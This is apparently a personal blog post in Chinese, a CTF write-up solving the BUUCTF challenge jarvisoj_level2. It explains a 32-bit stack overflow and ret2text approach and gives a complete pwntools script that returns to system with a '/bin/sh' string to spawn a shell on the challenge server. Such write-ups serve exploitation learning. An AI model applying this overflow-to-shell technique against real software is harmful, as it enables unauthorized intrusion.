BUUCTF-jarvisoj_level2

题目简介

BUUCTF上一道ROP类型题目,原题链接在这:BUUCTF原题:jarvisoj_level2

思路容易想到,但是32位程序,由于不熟悉32位程序的特点卡了一段时间,因此做个记录

漏洞点分析

首先检查开启了哪些保护


可以看到只开启了NX

然后把二进制文件拖入IDA分析


可以看到溢出点发生在vulnerable_function,同时注意到程序使用了system函数,因此考虑能不能ret2text(只要找到/bin/sh字符串即可)

shift+F12看一下,太好了,在程序里找到了/bin/sh字符串,如下图


至此,可以得知,这道题的漏洞点就是构造ROP链,利用溢出返回到system函数地址,拿到shell

漏洞点利用

首先确定偏移量,在IDA里可以直接看到,由于返回地址在ebp往上4个字节(32位,64位就是8个字节),offset=0x88+0x4=0x8C

对于system函数和/bin/sh字符串,这里直接通过python的pwn库定位,比较方便,不用硬编码

另外,由于32位系统的特点,此处不需要寻找pop rdi的指令碎片,也不需要考虑16字节对齐

32位传参时,通过栈进行传递,一般为返回地址1、返回地址2、参数1、参数2,即和返回地址依次对应,因此在sysAddr上方填充一个0作为返回地址(填什么都可以,拿到shell就不会回来了),否则binsh字符串会被解析为下一个返回地址

因此可以写出如下的利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(os="linux",arch="x86",log_level="debug")
targetELF="./BUUCTF08"
#ioTube=process(targetELF)
#ioTube=gdb.debug(targetELF,"set follow-fork-mode parent")
ioTube=remote("node5.buuoj.cn",25094)
elf=ELF(targetELF)
offset=0x8C #还有116个字节的机会
sysAddr=elf.plt["system"]
binshArgc=next(elf.search("/bin/sh"))
#open("sysAddr.txt","w").write(str(hex(sysAddr)))
#open("binsh.txt","w").write(str(hex(binshArgc)))
ioTube.recvuntil("Input:\n")
payload=b'a'*offset+p32(sysAddr)+p32(0)+p32(binshArgc)
ioTube.send(payload)
#ioTube.recv()
ioTube.interactive()

BUUCTF-jarvisoj_level2
http://0x4a-210.github.io/2025/07/26/pwn刷题记录/ROP/ret2text/BUUCTF-jarvisoj-level2/
Posted on
July 26, 2025
Licensed under